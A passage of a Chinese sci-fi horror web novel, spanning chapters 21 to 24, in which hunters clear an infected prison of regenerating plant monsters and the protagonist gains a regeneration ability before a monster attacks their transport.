可是,这诡谲的笑声却无法消散,一下一下,像重重的锤子,敲击着奚渚的脑子。
噗通!
奚渚重重砸在了地上,脑内波动一片混乱,她直接晕了过去。
韦玉听见动静转身,她的脸早已变成了一张耷拉的老人脸,她拿起手术刀,朝奚渚走去。
21.蚀锈监狱抓鬼(五)
监狱感染区外,长空中黑影攒动,在刀光闪烁的瞬间,巨大的藤蔓脱落在地。
吉蒂琼双手扛刀,无声地看着面前疯长的菜苗。
此刻大概已经不能称它们为菜苗,而是应该称它们为在空中蛇舞的巨大藤蔓。
双刀嗡鸣,寒气自刀尖激荡,一股无情的杀气窜到了吉蒂琼手上,这是双刀感应到感染物的征兆,吉蒂琼后退几步,跳到了监狱外一座高地土堆之上。
“奚渚那边不知道怎么样了?还有葵金,究竟干什么去了?”吉蒂琼右手旋扭,抛出一只刀。
黑刀凌空斩过,宛如长了眼睛般,几十下高速劈砍,无数藤蔓自底部开始轰然倒塌,一节一节,散落在地。
吉蒂琼一挥手,刀就飞了回来。
她看向在地上不断抽-动的藤蔓,这些东西从刚才开始就是这样,不论自己将它们砍成多么细碎的状态,这些东西不出几秒就都会完全复原,而复原之后的体积则会变得更为庞大。
“这难道这是感染物的能力?”吉蒂琼暗道,“类似无限再生之类的东西。”
吉蒂琼双眼闪烁,抑制不住地兴奋,“这家伙是自己磨刀的好对象啊!”
她没有犹豫,同时将两把刀都抛了出去,刀光剑影中,被斩断为碎块儿的藤蔓如大厦倾倒,轰隆隆摔倒在地。
两把刀立刻旋进泥地,双刀如游蛇一样飞速往深处钻着。这东西,如果不从根-部斩断,大概无法根除。
伊文捷琳给出的文件中并没有特别指明这是什么能力的感染物,大概率联盟也甚不清楚,毕竟这地方早已荒废已久。
一切就看奚渚能找到什么。
双刀突然停顿,像是磕碰到了某种东西,吉蒂琼走近,在灰扑扑的土坑里,有一个看不出死活的人正歪在土坑边缘,紧闭双眼四处躲闪。
吉蒂琼调出资料,发现这个女孩是派遣队中一员,名字叫做芬恩
双刀将芬恩挑了出来,放到了远处空地上,吉蒂琼立刻查看对方的鼻息,还活着,看来只是被吓傻了。
被土掩埋的窒息感十分难受,芬恩躺在地上,呼吸急促,咳咳咳的剧烈咳嗽着,她扒开了自己的嗓子,一堆泥巴被她边咳边吐-出来,泥巴中掺杂着细小的菜苗,嘎吱一声,就被吉蒂琼一脚踩烂。
芬恩在原地缓了缓,扶着土堆坐起,表情呆滞,似是不敢相信自己还活着,她揉了揉眼睛,看清了面前的人,她立刻问道:“我的另外一个同伴呢?她有没有事!她叫涂尔!我和梅出去的时候没有她刚睡着,所以我们就没有叫她!她怎么样了?还活着吗?”
吉蒂琼像是没听到,她全神贯注地盯着那些继续复合疯长的藤蔓,对方像张开两扇巨大的翅膀一样,已经将整个监狱都包裹了起来,而且还在持续收紧。
感染区内的人处于完全断联的情况,吉蒂琼无法联系到葵金,更无法联系到奚渚。
最后的通话已经是几个小时前...
芬恩锤了锤脑袋,意识逐渐回笼,她脑子里惊现出剧烈的爆炸,她突然想到什么般焦急开口,“有一个人救了我,她整个身子都是机械改造的,她突然冲出来将我甩了出去,当时场面一片混乱,我和梅在瞬息之间就分散了。”
吉蒂琼皱眉道:“浑身机械?你说的那个人叫葵金,她之后去哪儿了?”
芬恩犹豫开口,“我不知道,我被她甩出来的时候就直接晕了过去。对了,她身上叮铃哐啷的,似乎带着一堆东西。”
“葵金带着一身炸弹。”吉蒂琼解释道,“你还记得她把你甩出来的地方在哪儿吗?”
芬恩立刻回答,“二楼狱长室内部的实验室,我和梅睡不着,就想着去探查一下整个监狱区,因为涂尔太累了,所以我们并没有叫醒她。半夜不知道几点的时候,狱长室突然发出了什么动静,我和梅状着胆子走进去,本来只是想在门外看一看,没想到,我们两个不知被谁猛地推了一把!
狱长室里有一个柜子,柜门大开,可以望到里面竟然还有一个实验室,摆放着一台巨大的水培仪,我和梅愣在了原地。
身后湿乎乎的感觉又来了,我和梅同时回头,身后有个影子飞速逃跑。再次转身,面前就是一脸狐疑的葵金,她看了我们两个人一眼,说了句为什么普通人会在这里,柜门吱呀作响,她不知道哪来的力气,在柜门紧闭的瞬间将我率先扔了出来,但是梅却晚了一步。”
了解了葵金的动作后,吉蒂琼将那个已经枯萎且黑泥满布的菜苗放到了芬恩手边。
对方表情疑惑,仔细盯着那个干瘪菜苗看了好久,反复抬头向吉蒂琼确认,似乎要从对方脸上看出开玩笑的意思。
“这是感染物干的吗?”芬恩将菜苗捧了起来,她不敢相信几小时前还在和自己闲聊的同伴变成了这种不人不鬼的样子。
吉蒂琼继续将手中的水培瓶递了过去。
芬恩的脸开始不正常的轻微抽搐,似乎是无法控制自己的表情,瓶子内的涂尔表情安详,已经被无数根须所紧紧包裹,“是我的错,我不该把梅叫出来,她本来就体力不好!我还把她带到那间屋子里,我更不该把涂尔单独留下,明知道她会找我和梅。”
吉蒂琼伸出手,拍了拍对方的肩膀,人造混合体就是这样,她们被创造出来的初衷只是用作基因实验,不断改变不断增强,有新的技术诞生,那就全数运用到她们身上,混合体不需要有任何情绪,所以吉蒂琼不理解芬恩为什么会落泪。
难道是因为同伴的死亡吗?
吉蒂琼不懂,自己曾经也有同伴接二连三的死去,在她看来,她们都死的很快乐。
她还记得实验教授所说的话,“你们为上区的人类做出了伟大的贡献,所以当大家这样的混合体死亡后,就会得到上区特别的待遇,这样的待遇是谁都没有过的。”
吉蒂琼想起来了,在满室的混合体中,所有人穿着一样的白色病号服,额头上打着实验顺序的标签,满室疑惑中,只有她一个人举起淤青的手问道,她看到教授的脸抽搐了一下,她不懂那是什么意思,“我们会有什么特别待遇?教授。”
“你们会伴随无数甜美的糖果和蛋糕下葬。”
实验室的孩子一阵诡异的安静,随后哇一声,全员沸腾!
她们太高兴了!混合种只允许吃难吃的营养剂,她们绝不被允许吃任何甜品,所以这一项死后的待遇简直是殊荣。
突然,每一个害怕死亡的混合体都不再惧怕酷刑和折磨。
因为她们相信。
如果生前可以忍耐一切痛苦,那么死后必定会被无数糖果所紧紧环绕。
吉蒂琼有些不知道怎么开口,如果是伊文捷琳长官的话,一定可以处理的很好吧。
但是对方还没有教自己什么是悲伤,难道悲伤就一定是同伴的死亡吗?
可是当看到实验室内的同伴被反复电击,从死亡边缘线再次活过来的瞬间时,吉蒂琼看到她们青紫的脸,反倒觉得就这么死了或许才是解脱。
吉蒂琼不想再想,她对着芬恩提醒道,“我会继续解决监狱外的藤蔓,它们与感染物有一定的关系,你可以到远处找个安全的地方呆着,解决之后我会去找你,将你送回本部。”
芬恩愣了一下,她抬起头,面前这个表情奇怪的女性正在皱眉看着自己。
芬恩收敛了难过,她不想给对方拖后腿,涂尔和梅的死是因为自己!
如果自己像一个胆小鬼一样钻在角落,那才是真正的苟且偷生!
吉蒂琼再次朝监狱走去,余光中那个唯一活下来的队员抹了把眼泪,紧紧跟在她身后。
配合对方!给梅和涂尔报仇!芬恩拍了拍脸心道。
吉蒂琼利用双刀砍出一截藤蔓,在双刀飞速雕刻下,一把锋利的匕首化形而出,她递给表情僵硬的芬恩,“你先拿这个,躲在我身后,你可以进行简单的收尾工作。”
芬恩捧着匕首,对方的本领她看的眼花,直到现在,她确定了面前之人是7组的人。
“你可以拿这两把刀化形出任何东西吗?”芬恩问道。
吉蒂琼摸-摸下巴,她对自己能力十分自豪,“算是吧,不过只限于化形出武器。”
双刀在二人交谈的间隙,已经将外围三分之二的藤蔓全数削了个一干二净,巨大的藤蔓摔在地上,像蟒蛇一样四处窜动扭曲。
吉蒂琼指挥身边的机械虫,开始进行大范围爆破。
轰!
二人面前火光冲天,巨大的热浪扑到脸上,以及藤蔓被烧死的噼里啪啦声响彻耳边,唯一逃出来的一截藤蔓,立刻被吉蒂琼抓起来砍成了沫子。
芬恩举着刀
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,无从下手地躲在对方身后。
“菜苗已经被移除了,不知道奚渚那边解决的如何。”吉蒂琼踢开脚下烧成灰的藤蔓,朝着监狱逼近。
突然,漆黑的门口处出现了一个身影。
所有机械虫立刻围了上去。
吉蒂琼疑惑地嗯了一声,“葵金,你搬出这东西要干什么?”
只见一身破烂的葵金,直接将二楼那个水培仪扛了出来,她十分轻松地转了转肩膀,缓缓开口,“这东西挺结实的。”
吉蒂琼无奈叹气,知道对方是老-毛病犯了,走到哪儿囤到哪儿,“奚渚呢?见她了吗?”
葵金随手一挥,机械虫立刻飞进监狱开始二次调查,“奚渚大概被困到三楼了,那地方我怎么炸都炸不开。”
“感染物在那儿躲着?”吉蒂琼问道。
“大概率是。”
***
三楼实验室。
奚渚在窒息中苏醒,浑身好像被什么东西给紧紧包裹着。
她张开双眼,视线中是一层流动的红色薄膜,原来是嘴巴张开全身,正在保护自己。
从薄膜内望出去,奚渚看不见韦玉的身影。
奚渚闭上双眼,感知着脑内的波动,一片安静。刚才那些笑声实在太过奇怪,奚渚明显感受到那些诡谲的笑声直接反过来在干扰自己,于是为了不受对方的控制,奚渚直接掐断了感知。
而后果就是,自己哐一声,直挺挺砸到了地上,飞速晕厥。
看来这项技能还得持续加强,奚渚心道。
嘴巴的身体开始回收,奚渚站起身,活动一下僵硬的四肢。
余光中,她看到了躲在角落的韦玉,对方的身形已经萎缩的十分瘦小,所以奚渚才一直没有注意到。
她走了过去,苔粒子在脑内开始激增,韦玉的身体一动不动,蜷缩在一堆水培瓶之后,而让人奇怪的是,对方脑袋上的一个血窟窿尤为显眼。
“这是给自己换了脑子?和那些产品?”奚渚疑惑看过去,手术刀被随意扔在一旁,韦玉的脑袋顶被她自己掏开,且一直无法愈合。
奚渚站到窟窿上方,只见韦玉脑袋里,盘根错节的细小触-须,正在相互搅动缠绕。
随着那些东西的收紧,韦玉的脸也开始不正常的内陷扭曲。
直到最后,对方的脸竟然扭成了一根麻花。
有什么东西正在韦玉的身体之下鼓动着。
突然,一个肉芽似的圆球破皮肤而出,紧接着,无数圆球像爆炸的气球,几下就长满了韦玉的脸。
它们像一个个菜苗,只不过不是插在地里,而是插在人的皮肤上。
被扎成血窟窿的韦玉早已没了呼吸,她像一个被架空的傀儡,只剩下脸上的东西在颤动,它们正在一个接一个的出芽。
圆球带着鲜血,在一阵诡异的轻颤后,一个个粉扑扑的小脸在圆球之上嗖然绽放,它们齐刷刷睁开眼睛,看向不远处奚渚,继续用一样的套路,开始异口同声嬉笑。
无数脑袋在幼苗上方开始颤-抖,韦玉的身体极速枯萎,变成了一摊被吸干的泥巴,她源源不断地给这些菜苗提供人体养料,她的身子被瞬间抽干,衣袖变得空空荡荡,实验服堆在地上,她浑身上下只剩一个肿-胀的脑袋,插满了无数菜苗,而且还有继续疯长的趋势。
菜苗正在相互吞食,吃着同类,感染物的本能驱使它们想要不断获得力量,就只能吃掉周围的一切。
脑内的波动又在变化,奚渚这次没有切断,她绝不会在第二次雷同的事情上犯相同的错误。
她盯着面前正在疯狂进食的“脑袋培养地”,拿起一旁作业线上的匕首。
唰!
无数幼苗被奚渚拦腰斩断。
下一秒,它们统统被空中飞来的嘴巴一口气吞食,嘴巴嚼得十分爽快,似乎还意犹未尽,咬着韦玉的脑袋就提到了奚渚面前。
奚渚提起韦玉被钻了孔的血脑袋,那些没死透的菜苗正在试图吃奚渚的双手,奚渚割断了它们的根子,直接破开脑袋顶的窟窿,在整个横切面的最中-央处,一株小小的绿色植株正在左右轻摇。
感染值激增,面前这个微小的植株正散发着强有力的感染波动。
奚渚提起匕首,盯着植株,“找到了,感染物本体。”
22.蚀锈监狱抓鬼(六)
幼小的主株在呼吸。
奚渚看了一眼,直接掐断了对方。
对于她来说,任何风险都要在眼皮子底下被消灭。
主株被奚渚扔在一边,接触到地面的它立刻枯萎。
奚渚开始翻找这座实验室,这地方远远不止人体实验那么简单。
韦玉口中挂着的实验业绩,牵扯到这些被活人培育而出的果实,果实被送往未知各地,且果实在生长的过程中-出现反扑的意向。
将所有死刑犯杀-害,并且将实验者全数吃掉,而韦玉作为唯一的人体培养壤,履行着杀-害活人喂养感染物的作用。
流水作业台上摆放着一堆实验工具,不远处的角落堆放着一团杂物。
奚渚抽出角落的东西,无数纸质文件跌到地上。
她一目十行地看着,果然在最底部的文件中,找到了颜如忆的部分信息——果实村,第一批试验地,试验失败,且感染物无法回收,试验时间较短且不稳定,故此地废弃。
文件上简短且不连贯的实验描述传递出一个信息:颜如忆去支教的果实村是一些人选中的第一个实验地点,同时间,女孩被猎人抓捕,于是宣告实验失败。
为什么算做失败呢?
这里牵扯到了两个理由,一是女孩当初没有对颜如忆痛下杀手,而是选择了融合。二是女孩的行动完全偏离了他们的设想,因此被划定为失败。
无论是哪一点,百年前的那场失败一定给了这些人经验,好让他们继续在暗地中活动。
但是,一场突发意外,致使这座披皮监狱沦陷,被彻底抛弃。
那么,相隔多少年后,联盟再次派人到这里安装感染仪,究竟打的是什么算盘。
其中,HPP这个公司又扮演了什么角色?
三军的仪器大部分由它们出资建造,那这场旧地重游是否有他们在背后推波助澜呢?
情报太过稀少,而且现在得到的信息都是零散的碎片,如果要深-入研究,自己必须出去之后将HPP公司的来龙去脉搞清楚。
***
“人类...活着的人类...”一旁只剩半个脑袋的韦玉突然开口。
奚渚后撤几步,脚下的植物突然向韦玉包围而去。
“嘴巴,吃掉。”奚渚下命令。
嘴巴飞速冲去,在半空张开血盆大口,将韦玉不成形的身体囫囵吞了下去。
嘴巴的身体正在不断膨胀,里面似乎有什么东西正在挣-扎,一根根巨大的尾刺似得东西在挥舞,下一秒,十几根巨蔓直接扎穿了嘴巴的身体。
巨蔓破体而出,最中心处嵌着被植物缝合好的韦玉的脑袋。
奚渚啧了一声,“刚才就应该直接碾碎,看来这东西可以无限再生。”
感受到奚渚敌意的巨蔓开始挥舞触-手,它们在空中击碎了整间实验室。
作业台侧翻被哐一声砸到墙上,无数水培瓶被齐声打碎,角落的纸质文件嗵一声被销毁,这些藤蔓好像有意识一样在做着最后的挣-扎。
只不过这挣-扎看起来不是死前折腾,而是为了销毁实验室。
难不成,这才是这趟“旧地旅行”的目的,利用无关紧要的派遣队员来唤醒感染物,然后,将所有文件彻底销毁。
而这场光正伟岸的行动,全程在猎人的眼皮子底下进行。
可以说是“黄雀在后”的最佳计谋。
奚渚站在原地,文件已经被瓦解销毁。
即使被毁了也无所谓,反正她已经记住了重要情报。
机械虫在奚渚的指挥下,嵌到了藤蔓的各个缝隙中。
轰!
韦玉被缝合的脑袋炸到了奚渚脚下。
她将脑袋提起来,摆到自己视线平移的高度,“那场意外发生了什么?”
韦玉的脸被随意缝合,嘴巴长到了脑袋顶上,她几次尝试开口,却只能发出一个音节,“双头...”
“双头……双头女婴,那个是什么东西?。”奚渚反问道,是刚才出现过的那个怪物。
“成功...”韦玉张开嘴巴,嘴巴附近的肉芽立刻反向生长,封住了她的喉口,“我唯一的成功产物...”
奚渚皱眉,看来这些实验失败率极高,“那东西去哪儿了?”
韦玉的视线越过奚渚,看向身后,“刚才...我看到它了...”
奚渚僵硬在地,嘴巴的波动突然消失,似乎被很强大的感染物给吞了。
而那头感染物,正在接近自己!
韦玉已经开始苔化,绿瘢爬上她的双眼,眼球已经蒙蔽一片,她缓缓开口,像是在诉说自己的遗言,“人变成怪物之后,总想要做点傻事来抚平内心,减轻痛苦。
似乎不那样做,自己就无法继续前进。
如果你也是那样的怪物,千万要小心。
偏离目标的意外举动,会把你拉入万丈深渊。”
奚渚拿起枪,抵到韦玉脑袋上,她没有对方那么多弯弯绕绕,“我不是怪物,我也不会停滞不前,更不会陷入深渊。”
轰!
韦玉被彻底打碎。
奚渚转过身,随着身后猛地射击!
半空的双头怪物正在和嘴巴较劲儿,被枪炸碎的地方,在空中极速再生,肉-体像藤蔓一样将一分为二的身体重新连接。
奚渚再次开枪。
双头感染物就像打不死的蟑螂,仍在持续再生,且再生速度没有任何减弱。
“这是感染物的能力?”奚渚突然想到这种可能。
嘴巴的能力是可以吞掉一切。那么这个双头感染物的能力是否与再生愈合有关。
奚渚看向嘴巴,她并不想在解决感染物后再多一个“跟班”,她想要的是将感染物的这项能力变为自己的能力。
如果它们可以有,自己为什么不能有。
但是,要怎么做呢?
——赶尽杀绝?
奚渚否决了这个想法,且不说现在的情况,自己现在不可能对嘴巴下手来试验抢夺能力的想法。
因为对方目前来说十分有用,完全可以当作一个挂件异能宠物来使用。
想到这里,奚渚直接把枪扔了。
她要用脑子里的感知技能来绞杀这只感染物。
她感应着空气中的苔粒子,脑内的波长正在规律起伏。
奚渚闭上双眼,将全部注意力集中到波长上,她在复刻刚才那些笑声的波长。
首先要在紧闭双眼的同时清楚感受到感染物在什么地方,其次根据波动来监测对方是否有移动,再者将潜意识全部挤压到那处,持续压迫之下,奚渚感受到苔粒子在颤-抖。
她没有松劲儿,继续施压,一股强力的威压直接震碎了脑内的苔粒子。
奚渚察觉到自己流出了鼻血。
她随意抹了一下,鼻血直流,根本止不住。
奚渚索性不再管,她将潜意识集中到感染物身上,却发现自己不仅开始流鼻血,就连紧闭的双眼
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似乎都有一点模糊。
这大概就是使用感知能力的副作用,利用潜意识强力施压后,身体会产生代偿。
至于这代偿会持续多长时间,待会儿自然就能知道。
奚渚在原地缓了几秒,双眼渐渐清明后,她立刻看向感染物。
这下,轮到奚渚惊讶了。
面前的感染物被自己的潜意识碾碎在地,成了一滩肉泥,只剩下几根细小的藤蔓枯萎在地。
奚渚环视四周,嘴巴浑身颤-抖,已经躲到了房顶,机械虫一个劲儿地想远离自己。
她撑开掌心,“这能力,这么厉害吗?”
叮!
【波长感应:宿主不仅可以通过脑内波长来感知目标为何物,并且可以使用潜意识持续施压对目标物进行强力绞杀。目前开发进度:50%。】
“50%?”奚渚喃喃自语,“50就有这么大的作用,如果通过做任务开发到100%,这项技能一定还会更加强大。
它即可作为感知探测,又可以用来武力压制,没有什么比这项技能更重要的了。”
奚渚浅浅一笑,“这项能力就是自己最大的底牌,不论是对三军,还是对感染物。”
她摸了一下鼻子,发现鼻血止住了。
实验室的远处挂着一个表,从流血到止血大概花费了十分钟。
奚渚自动理解:“这项技能的代偿作用大概取决于三个关键因素,一个是开发进度,一个是使用时间,还有更重要的是自己想要绞杀的目标物。三个因素整体越艰难,对身体代偿就越重。”
“总之,要小心的用,谁知道下次碰见难搞的感染物会不会直接把命给搭进去。”奚渚思考道。
捋清能力后,奚渚掏出一个压缩瓶,这是吉蒂琼昨天就交给她的,对方说不论感染物最后成了什么样子,就算是只剩一根肉-丝儿,也得装到压缩瓶中,其目的是要做感染物的研究和登记。
奚渚挑起一点碎肉,装进了瓶子,机械虫立刻飞过来,将压缩瓶抱在怀中。
既然任务已经完全解决,就没有再呆在这里的必要,奚渚站起来朝门口走去,“该找她们汇合了。”
三楼的感染区已经渐渐消散,奚渚拿起枪就走了出去,嘴巴虽然害怕,但还是紧紧跟在了奚渚身后。
毕竟,刚才对方救了它一名。
机械虫亮光开路,奚渚直接下到一楼。
还没出去,奚渚就在楼道中就感受到监狱外站了很多人,而从脚步声来判断,大概率是执勤军。
看来这工作是他们进行收尾。
奚渚经过长廊,在一片昏暗中看到了站在门口表情奇怪的吉蒂琼,对方也看到了自己。
突然,一枚子弹擦过了奚渚左肩,她立刻感到火辣辣的疼。
轰!
奚渚向后看,墙壁被打穿。
这枚子弹,是激光枪!
她摸上左肩,伤口外露,惨不忍睹。
她在原地站了一会儿,突然迈步,继续走向监狱外。
她感受着外面越聚越多的执勤军,他们脚步声越来越重,呼吸声越来越紧。
——叮!
【恭喜解锁中级技能——无限再生。】
【无限再生:您可以在受伤后进行无限修复再生,再生速度随受伤程度而变化,伤口越重,再生时间越长,此项技能使用时,其他技能将彻底屏蔽。目前开发进度:50%。】
奚渚感受着左肩,那里已经被愈合了。
23.回程意外
监狱门外。
执勤军架着激光枪,与奚渚敌视僵持。
吉蒂琼立刻赶上前,拦在枪口面前,“奚渚现在是7组队员,放下枪,她在里面完成了任务。”
不远处一个吊儿郎当的人影晃悠过来,原来正是之前被白央罚禁闭的哈利斯,对方扛着清扫枪,碾碎了脚边被火烧死的藤蔓。
满脸愠气看向奚渚,“她?进了7组?你们的长官伊文捷琳是有病吗?感染者也往里收编!”
唰!
一把黑刀横在哈利斯脖子处,只要轻轻一动,就可以把他的脖子砍断,“说话注意,7组的事情轮不到你插嘴,伊文捷琳长官是什么人更轮不到你议论。”
哈利斯敢怒不敢言,吉蒂琼是真的能砍了他。
他本身就是跟着执勤军而来,听说那个奚渚也在这里,原本是想看看这个害得自己罚禁闭的人被打成筛子,但几天没见,对方摇身一变,竟成了猎人7组的一员!
开什么玩笑!
感染者!
必须处理掉才行!
他环视四周,并没有看见白央。
哈利斯已经从其他人的口中听说了,白央根本不是什么空降队长,而是7组的特别调令。
几天前白央就已经归还到7组,担任7组队长,而不再与清扫者有任何关系。
哈利斯愤愤想,这些人凭什么!
自己在后方出力不讨好,这些人空耍一些花把势就能得到青睐,他眼神淬了毒,越来奚渚越扭曲。
戈乌怀抱一堆资料,见缝插针直接跑到剑拔弩张的几人中间,她率先对着吉蒂琼打招呼,之后又与几天不见的奚渚挥了挥手,随后才对着哈利斯道:“长官在叫你。”
哈利斯踢开脚下的藤蔓,不情不愿地走了。
这次没有找到奚渚的茬儿,让他十分不解气!
戈乌看着对方的背影,松了口气,“各位长官们,我这里有白央队长的消息。因为各位之前都处于感染区,无法联系到,所以白央长官就将私人命令传到我这边,再由我告知各位。”
一旁的葵金显然也听到了有命令,她放下手中摆弄感染物碎块的动作,走到几人跟前。
戈乌将光屏调出来,上面是白央的命令视频,“各位7组队员,蚀锈监狱任务结束后,请各位稍作等待,之后与执勤军清扫者共同乘坐传送车,前往10区三军总部,我将与诸位在路上汇合。”
吉蒂琼看着白央的脸突然出现,又立刻消失,“这么简短?没别的了?只是在这儿等着吗?”
戈乌点头道,“白央长官只给了我这一条命令。”
葵金适时解释道:“既然队长都这么说了,那就等着吧,等他们把现场处理完再启程。”
说罢,她便继续回去捣鼓那些感染物和地上被损毁的藤蔓。
奚渚表示无所谓,她将手里的压缩瓶递给吉蒂琼,对方交给葵金。
几人靠在监狱墙上,看着执勤军和清扫者正在忙碌的打扫战场。
奚渚注意到他们每个人都背了一个类似吸尘机的东西,将地上碎成一片的藤蔓统统吸了进去。
吉蒂琼解释道:“这种‘野生’感染物和被我们抓到感染门内的感染物不同,感染门内的感染物在被绞杀后会自行消散。而‘野生’的感染物必须打扫干净,因为如果别的感染物捕捉到了这些残留的气味和苔粒子,它们就会直接窜过来,渐渐地感染物就会越聚越多,即使是最弱的E级,抱团取暖之后对我们十分不利,16区就是赤-裸裸的后果,全区沦陷。”
葵金再次走过来,这次她的脸上带着微笑,像是知道什么秘密一样的微笑,“这次的野生感染物似乎是由多个E级组合而成的,果实全部是E级,聚拢在一起,形成了D级的范围,能力是操纵植物,但是...”
“但是什么?能力有什么问题?”吉蒂琼问道。
葵金的视线移到一言不发的奚渚身上,“从筛查来看,这头D级具有两种能力,但另一项却无法显示。”
奚渚一脸正气,“仪器能精准了解到这种地步?”
葵金点点头,“当然,上区制造出这些东西可不是随便玩玩,将感染物的一切信息分析编号登录记载归档,全靠这些东西。”
随机,葵金叹了口气,“不过,仪器越精细,出现故障的可能就越大,毕竟感染区内,什么东西都有被-干扰坏掉的可能。”
奚渚活动了一下肩膀,那处的伤口早已恢复再生,葵金口中所说的感染物的第二项能力自然是“无限再生”。
看来得到这个能力不是偶然,而是偏向于“掠夺”。
杀死感染物,奚渚就可以顺位取代对方身上最高级的一种异能。
至于为何只能掠夺一种,奚渚分析是因为这头D级明明有两种能力,而自己现在只拥有对方的其中一种。
这么说来,杀害的感染物越多,异能岂不是也越多。
而7组频繁猎杀感染物的任务,简直为奚渚提供了最大的便捷。
但是,这同时出现了一个问题,那就是自己在官方任务中无法持续进行绞杀,时间一长,这些人一定会看出毛病来。
奚渚现在并不打算和7组的队友坦白她的能力,一切都要小心行事。
奚渚看向已经结束收尾工作的执勤军,几十人身后的人造太阳正在滚滚下坠,沙漠中一切都被染得赤红,她在吉蒂琼的呼唤中,登上了前往10区的传送车。
***
车厢并不大,大概率是执勤军走的急,没有置换更大容量的车。
车上的7组队员只有三个。
一个身穿白大褂在角落蹲着割藤蔓拼植株,一个扛着两把黑刀站在最前面指挥前进方向,最后只剩下一个安然端坐闭目养神的“流浪汉”清瘦队员。
奚渚随意坐在角落,她正闭眼假寐。
身旁的执勤军中有参与过转送奚渚的任务,因此他们是见过吉蒂琼的手段的。
执勤军本能地后退,躲着这几个奇怪的7组成员。
也就那个捣鼓碎尸的葵金还看起来正常点儿。
他们没想到,一个甲级感染者摇身一变成了7组的队员!
有几个没经历过押送任务的执勤军,壮着胆子看过去,却被奚渚那股沉稳的姿态给吓了回去。
“听说是她徒手砍了监狱里的感染物!”执勤军小声谈论着。
“没错!就是她!奚渚!之前还是感染者呢,现在就一掌打碎了感染物!”
“我也听说了,监狱外面感染物的碎尸都是她一个人烧死的!太可怕了!”
“离她远点儿吧!万一把咱们手撕了怎么办!”
奚渚很想大声吐槽,“我能听见。”
但她只是眼角抽了抽,继续闭眼回神。
大脑内每次使用完感知技能都会对奚渚的精神产生极大的压迫,她必须立刻恢复过来。
执勤军越说越来劲儿,上下打量的目光止都止不住。
奚渚觉得这种审视的目光很不自在,于是她缓缓睁开眼,这些目光刷一下全部消失。
“好吧,既然他们不看了,那我开始看吧。”奚渚托起下巴,开始一个个环视周围的执勤军。
看点儿搞笑的东西也能恢复精神。
在车里的他们已经脱去了头盔,因此每个人的表情都看得一清二楚。
奚渚自然有目标,从第一个看到最后一个,却没有找到哈利斯。
这里都是白衣,而属于清扫者的红衣并不在此地,看来戈乌和哈利斯坐的是另一辆车。
轰!
车辆一阵颠簸,但很快回归平静。
驾驶座上的司机招呼着,“方向已经确定,两辆车将合并行驶,这样能最快速度到达10区,各位辛苦了。”
后门开启,一堆清扫者涌了进来,首当其冲的就是戈乌。
对方已经换了常服,在车上很安全,没必要再拖着沉重的制服行走。
除非再次发生打劫的意外。
哈利斯走在最后,还没进来,他就感受到了一股难以忽略的视线正在盯着他。
等他再次环视的时候,这股视线却消失了。
***
车顶扒着的嘴巴隐匿到暗处,它得到了奚渚的命令,时时刻刻紧盯这个可能会
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出现意外的男人。
如果对方有任何企图,奚渚说了,可以直接吞掉他。
但是,嘴巴现在要睡一觉。
对方目前看起来一切正常。
***
车厢前侧。
吉蒂琼正和戈乌谈论着什么,奚渚从零星的字眼中听出节日、意外、推迟等词。
交谈完毕,吉蒂琼走到奚渚身边,递给对方几张表格。
奚渚接过来,是需要填写此次任务的相关文书,她将自己认为不重要的信息写了上去,隐去了自己获得异能以及与韦玉交谈的详细细节。
车内的驾驶员大概怕大家长时间呆着无聊,于是便开启了全息投影,将车外的环境展现在众人面前,奚渚饶有兴致地瞧着。
呼啸而过的景色中,奚渚判断出现在大概已经驶离沙漠地带,且方向故意绕过北边的16区,反而转向西北方绕行进入10区。
“大概得走一段时间。”吉蒂琼道。
她坐到了奚渚身边,目光注视着飞速闪过的外景,“这地方,原本是由很多个村子组成的。”
“现在已经废弃了吧。”奚渚道,从外景上来看,这些群聚村庄已经变成了一个个遗落的小黑点。
“没错,距离16区太近,这些地方的人们都已经搬走了。”吉蒂琼道。
奚渚突然想到自己醒过来时的地窟,她没有直接询问,而是换了一种方式,“地窟无法容纳这么多人吧。”
“确实,这些村庄在位置上距离17区最近,所以地窟才应运而生,你本身就是从地窟上来的,所以对上窟的严格审查,应该深有体会。”
“确实严格,地窟总有容纳不下的时候吧。”奚渚说。
“有能力的人会被临时安置到17区表面进行工作,没能力则继续在地窟生存,地窟在每年的收获日筹得资金后,都会进行扩张。”吉蒂琼说得很模糊,看来她并不知道那地方是个什么情况。
奚渚沉默,她一清二楚,扩建地窟只不过是幌子,那些流民想要活下去,要么跟奚渚一样冒着感染的生命风险上窟,与其他人竞争工作,要么就呆在地窟里私下争夺庇护所。
毕竟,持有者并不是所有人。
谁能抢到,自然各凭本事。
所以整个下区的工作岗位才如此紧张,而听起来体面且“百里挑一”的派遣队员更是人人都趋之若鹜。
角落中垂头坐着唯一一个活下来的派遣队员,对方的名字似乎叫芬恩。
奚渚突然想起了什么,于是坐到芬恩身边。
从怀中掏出了他们一行人之前丢在二楼的地图,卷着的破损地图背后夹着一张泛黄的三人照片。
芬恩惊愕抬头,慢吞吞地接过去,将地图攥在手里,她没有选择抽出照片,而是不断用双指抚摸着照片打卷儿的边缘,“给你们添麻烦了。”
奚渚有些惊讶,没想到对方会是这种饱含歉意的话,对方抚摸的力度在不断加重,“抱歉,是我们去迟了,节哀。”
芬恩绷紧后背,她垂下脑袋,突然开口,“晚上时候,我还天真地幻想我们三人能够一起去往上区,见见那些新奇的东西,没想到,最后只剩下我一个人活着。”
奚渚几次抬手又落下,最终只是拍了拍芬恩的肩膀。
“我还以为,我们会一直活着。”芬恩抬起头来,泪水满溢。
“我还以为,死的会是我...”
“为什么死的不是我...”
轰!
突然,面前天旋地转,整个车被猛地冲翻。
所有人都没有反应过来,执勤军在手忙脚乱地戴头盔,奚渚正对破开的大门,她突然看到了门外汹汹下坠的烈日,无数血点溅到她眼前。
她被哐一声被砸到了车厢上。猛然间,巨大的怪物脑袋赫然出现,它喘着粗气,双爪扒在传送车上,直接将车捏扁。
在瞬息中,怪物将芬恩整个吞下,扬长而去。
奚渚咔吧一声接上了被压断的胳膊,死死盯着那只怪物,她抹了把脸上的血,周围的执勤军已经死了一-大半。
她没有任何犹豫,直接冲了出去!
24.村落截杀
“感染物的移动速度非常快,在近距离的观察下,芬恩只是被吞了下去,并没有被撕碎,如果能找到那头感染物,对方就有活下来的可能。”奚渚在飞速前进中做着判断。
压扁的传送车已被她远远甩在身后,正冒着熊熊火焰,吉蒂琼在奚渚冲出去的瞬间飞速道:“交给你了”。
